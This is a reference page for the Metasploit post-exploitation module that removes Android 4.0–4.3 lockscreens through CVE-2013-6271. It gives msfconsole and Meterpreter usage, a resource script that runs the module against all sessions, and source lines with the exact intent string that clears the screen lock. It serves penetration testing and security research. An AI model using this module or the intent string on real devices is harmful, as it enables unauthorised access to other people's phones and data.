Android Settings Remove Device Locks (4.0-4.3) - Metasploit


This page contains detailed information about how to use the post/android/manage/remove_lock metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Android Settings Remove Device Locks (4.0-4.3)
Module: post/android/manage/remove_lock
Source code: modules/post/android/manage/remove_lock.rb
Disclosure date: 2013-10-11
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): -
Supported platform(s): Android
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2013-6271

This module exploits a bug in the Android 4.0 to 4.3 com.android.settings.ChooseLockGeneric class. Any unprivileged app can exploit this vulnerability to remove the lockscreen. A logic flaw / design error exists in the settings application that allows an Intent from any application to clear the screen lock. The user may see that the Settings application has crashed, and the phone can then be unlocked by a swipe. This vulnerability was patched in Android 4.4.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/android/manage/remove_lock

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/android/manage/remove_lock
msf post(remove_lock) > show options
    ... show and set options ...
msf post(remove_lock) > set SESSION session-id
msf post(remove_lock) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/android/manage/remove_lock")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the android/manage/remove_lock post exploitation module looks in the msfconsole:

msf6 > use post/android/manage/remove_lock

msf6 post(android/manage/remove_lock) > show info

       Name: Android Settings Remove Device Locks (4.0-4.3)
     Module: post/android/manage/remove_lock
   Platform: Android
       Arch: 
       Rank: Normal
  Disclosed: 2013-10-11

Provided by:
  CureSec
  timwr

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module exploits a bug in the Android 4.0 to 4.3 
  com.android.settings.ChooseLockGeneric class. Any unprivileged app 
  can exploit this vulnerability to remove the lockscreen. A logic 
  flaw / design error exists in the settings application that allows 
  an Intent from any application to clear the screen lock. The user 
  may see that the Settings application has crashed, and the phone can 
  then be unlocked by a swipe. This vulnerability was patched in 
  Android 4.4.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-6271
  http://blog.curesec.com/article/blog/26.html
  http://www.curesec.com/data/advisories/Curesec-2013-1011.pdf

Module Options

This is a complete list of options available in the android/manage/remove_lock post exploitation module:

msf6 post(android/manage/remove_lock) > show options

Module options (post/android/manage/remove_lock):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the android/manage/remove_lock post exploitation module:

msf6 post(android/manage/remove_lock) > show advanced

Module advanced options (post/android/manage/remove_lock):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the android/manage/remove_lock module can do:

msf6 post(android/manage/remove_lock) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the android/manage/remove_lock post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(android/manage/remove_lock) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to retrieve build.prop, you might need to try again.

Here is a relevant code snippet related to the "Failed to retrieve build.prop, you might need to try again." error message:

52:	    build_prop = get_build_prop
53:	
54:	    # Sometimes cmd_exec fails to cat build_prop, so the #get_build_prop method returns
55:	    # empty.
56:	    if build_prop.empty?
57:	      fail_with(Failure::Unknown, 'Failed to retrieve build.prop, you might need to try again.')
58:	    end
59:	
60:	    android_version = Rex::Version.new(build_prop['ro.build.version.release'])
61:	    if android_version <= Rex::Version.new('4.3') && android_version >= Rex::Version.new('4.0')
62:	      return true

This module is only compatible with Android versions 4.0 to 4.3

Here is a relevant code snippet related to the "This module is only compatible with Android versions 4.0 to 4.3" error message:

65:	    false
66:	  end
67:	
68:	  def run
69:	    unless is_version_compat?
70:	      print_error("This module is only compatible with Android versions 4.0 to 4.3")
71:	      return
72:	    end
73:	
74:	    result = session.android.activity_start('intent:#Intent;launchFlags=0x8000;component=com.android.settings/.ChooseLockGeneric;i.lockscreen.password_type=0;B.confirm_credentials=false;end')
75:	    if result.nil?

The Intent could not be started: <RESULT>

Here is a relevant code snippet related to the "The Intent could not be started: <RESULT>" error message:

72:	    end
73:	
74:	    result = session.android.activity_start('intent:#Intent;launchFlags=0x8000;component=com.android.settings/.ChooseLockGeneric;i.lockscreen.password_type=0;B.confirm_credentials=false;end')
75:	    if result.nil?
76:	      print_good("Intent started, the lock screen should now be a dud.")
77:	      print_good("Go ahead and manually swipe or provide any pin/password/pattern to continue.")
78:	    else
79:	      print_error("The Intent could not be started: #{result}")
80:	    end
81:	  end
82:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • CureSec
  • timwr

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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